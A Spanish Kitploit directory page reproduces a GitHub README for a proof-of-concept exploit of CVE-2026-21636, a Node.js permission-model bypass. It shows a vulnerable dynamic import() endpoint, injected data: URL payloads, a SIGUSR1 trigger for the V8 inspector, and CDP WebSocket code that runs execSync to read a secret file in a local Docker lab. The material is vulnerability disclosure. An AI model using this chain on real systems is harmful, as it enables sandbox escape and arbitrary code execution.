Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-21636 — Prueba de concepto que demuestra una evasión del modelo de permisos de Node.js (CVE-2026-21636) que permite el acceso a la red a través de undici/fetch hacia servicios locales, habilitando la ejecución arbitraria de código mediante CDP. | Kitploit
Herramientas/GitHubGitHub/pauldechassey/cve-2026-21636
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebVirtualización de SeguridadPruebas de Penetración
GitHubpauldechassey/cve-2026-21636

CVE-2026-21636

Prueba de concepto que demuestra una evasión del modelo de permisos de Node.js (CVE-2026-21636) que permite el acceso a la red a través de undici/fetch hacia servicios locales, habilitando la ejecución arbitraria de código mediante CDP.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 4 mesesAún no revisado

CVE-2026-21636 - Bypass del modelo de permisos UDS/Red de Node.js

Resumen de la vulnerabilidad

El modelo de permisos de Node.js (--permission) está diseñado para aislar un proceso restringiendo el acceso al sistema de archivos, procesos hijos, workers y red. CVE-2026-21636 revela que las conexiones realizadas a través de undici/fetch (y net/tls) hacia Unix Domain Sockets y direcciones TCP locales omiten por completo la protección de red, incluso cuando --allow-net está ausente.

Afectado: Node.js v25 (los permisos de red aún son experimentales en el momento de la divulgación).
Este PoC reproduce el concepto en v22 donde se puede observar el mismo bypass.

Un atacante que pueda inyectar JavaScript arbitrario en un proceso que se ejecuta bajo --permission (pero sin --allow-net o --allow-child-process) puede:

  1. Conectarse a servicios locales privilegiados que deberían ser inalcanzables.
  2. Usar ese servicio como pivote para ejecutar comandos arbitrarios fuera del sandbox.

Arquitectura del entorno

Dos procesos se ejecutan en paralelo dentro del contenedor bajo supervisord:

target.cjs escribe su propio PID en /tmp/target.pid al iniciar y luego se ejecuta en un bucle infinito (proceso víctima inactivo). server.mjs expone un servidor Express en :8000 con un endpoint /pid y un endpoint vulnerable /language.

/app/secret.txt es propiedad de app (chmod 444). Ambos procesos pueden acceder a él a nivel del sistema operativo. El exploit no depende de una barrera de permisos de archivos — demuestra que server.mjs, a pesar de que --allow-net está ausente, puede alcanzar 127.0.0.1:9229 mediante fetch()/WebSocket y ejecutar código arbitrario dentro del proceso target.cjs sin sandbox. Leer secret.txt a través de CDP es la prueba de esa ejecución de código.

Nota: lo que este PoC realmente demuestra

Debido a que server.mjs ya se ejecuta con --allow-fs-read=/, leer /app/secret.txt directamente desde el proceso con sandbox es trivialmente posible usando solo la inyección de JS (paso 1):

root@kitploit:~
import { readFileSync } from 'fs';
export default { secret: readFileSync('/app/secret.txt', 'utf8') };

La lectura del sistema de archivos no es el objetivo de este PoC. El objetivo es demostrar CVE-2026-21636: a pesar de que --allow-net está ausente, fetch() (undici) puede establecer una conexión TCP a 127.0.0.1:9229, omitiendo por completo la protección de red del modelo de permisos. El exploit utiliza ese bypass para hacer pivote hacia el proceso target.cjs completamente sin sandbox a través de CDP y lograr ejecución de código arbitrario fuera del sandbox; algo que ninguna cantidad de --allow-fs-read permitiría.


Punto de entrada - POST /language

Esta sección está fuera del alcance del PoC.

root@kitploit:~
// server.mjs
app.post('/language', async (req, res) => {
    const requested = req.body?.lang ?? 'fr';
    res.json(await import(requested + '/index.js'));
});

El servidor realiza un import() dinámico sobre una cadena controlada por el usuario. El import() de Node.js admite de forma nativa el esquema de URL data::

root@kitploit:~
data:text/javascript,<JS codificado en porcentaje>

El sufijo /index.js añadido por el servidor se neutraliza añadiendo // al final del payload (se trata como un comentario de URL / fragmento de ruta ignorado).

Esto proporciona ejecución de JavaScript arbitrario dentro del proceso con sandbox — el punto de entrada para abusar de CVE-2026-21636.


Modelo de permisos - qué está (y qué no está) permitido

El servidor se inicia con:

root@kitploit:~
node --permission --allow-fs-read=/ /app/server.mjs

La intención: incluso si un atacante ejecuta código dentro de server.mjs, no puede alcanzar la red, generar procesos ni acceder al inspector.

CVE-2026-21636 rompe el límite de --allow-net.


Cadena de ataque (3 pasos)

Paso 1 - Obtener el PID del objetivo

root@kitploit:~
GET /pid  →  { "pid": <N> }

target.cjs escribe su propio PID en /tmp/target.pid al iniciar. El servidor lo expone. Esto identifica el proceso víctima que se utilizará como relé CDP. Esto también podría hacerse inyectando JS en el punto de entrada; para simplificarlo, simplemente creé el endpoint /pid.


Paso 2 - Activar el inspector V8 en target.cjs mediante SIGUSR1

Payload inyectado mediante POST /language (como URL data:):

root@kitploit:~
process.kill(<pid>, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to: <pid> };

Cuando un proceso de Node.js recibe SIGUSR1, inicia (o reanuda) su depurador V8/CDP y comienza a escuchar en:

root@kitploit:~
127.0.0.1:9229

Debido a que target.cjs se ejecuta sin --permission, su inspector tiene privilegios completos: puede evaluar cualquier expresión, incluido require('child_process').execSync(...).

El envío de señales (process.kill) no está restringido por el modelo de permisos, por lo que este paso tiene éxito desde dentro del sandbox.


Paso 3 - Conectarse a CDP y ejecutar comandos (CVE-2026-21636)

Segundo payload inyectado mediante POST /language:

root@kitploit:~
// fetch the list of debuggable targets from the inspector HTTP API
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();

//then open a WebSocket to the CDP endpoint of target.cjs
const result = await new Promise(resolve => {
  const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
  ws.onopen = () => ws.send(JSON.stringify({
    id: 1,
    method: 'Runtime.evaluate',
    params: {
      expression: `process.mainModule.require('child_process')
                       .execSync('cat /app/secret.txt').toString()`,
      returnByValue: true
    }
  }));
  ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});

export default result;

Por qué esto funciona a pesar de que --allow-net está ausente:

fetch() en Node.js está implementado por undici. CVE-2026-21636 muestra que la ruta de conexión de undici para http://127.0.0.1:... (y las opciones socketPath de UDS) no pasa por la verificación de red del modelo de permisos. El sandbox cree que no se realizó ningún acceso de red saliente, pero la conexión TCP a :9229 tiene éxito.

La llamada CDP Runtime.evaluate se ejecuta dentro del proceso target.cjs sin sandbox, por lo que require('child_process') está disponible y execSync funciona libremente.


Flujo completo del exploit

root@kitploit:~
atacante (script Python)
    │
    ├─[1]─ GET  /pid                          → pid = N
    │
    ├─[2]─ POST /language  data:js SIGUSR1    → el inspector de target.cjs se inicia en :9229
    │
    └─[3]─ POST /language  data:js fetch+WS   → CDP Runtime.evaluate → cat /app/secret.txt
                                                           ↑
                                              bypass de CVE-2026-21636 aquí
                                              (fetch a 127.0.0.1 sin --allow-net)

Uso

root@kitploit:~
# Construir e iniciar el entorno
docker compose up --build -d

# Ejecutar el exploit
python3 exploit.py

Salida esperada:

root@kitploit:~
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!

Referencias

  • NVD - CVE-2026-21636
  • Documentación del modelo de permisos de Node.js
  • Protocolo V8 Inspector / CDP
  • undici - Cliente HTTP integrado de Node.js
Descargar herramienta
ProcesoUsuarioFlagsCapacidades
target.cjsappningunoAPI completa de Node.js, sin sandbox
server.mjsapp--permission --allow-fs-read=/lectura completa del FS — sin red, sin child_process, sin worker
PermisoEstado
--allow-fs-read=/concedido (lectura completa)
--allow-fs-writedenegado
--allow-netdenegado (experimental, no establecido)
--allow-child-processdenegado
--allow-workerdenegado
--allow-inspectordenegado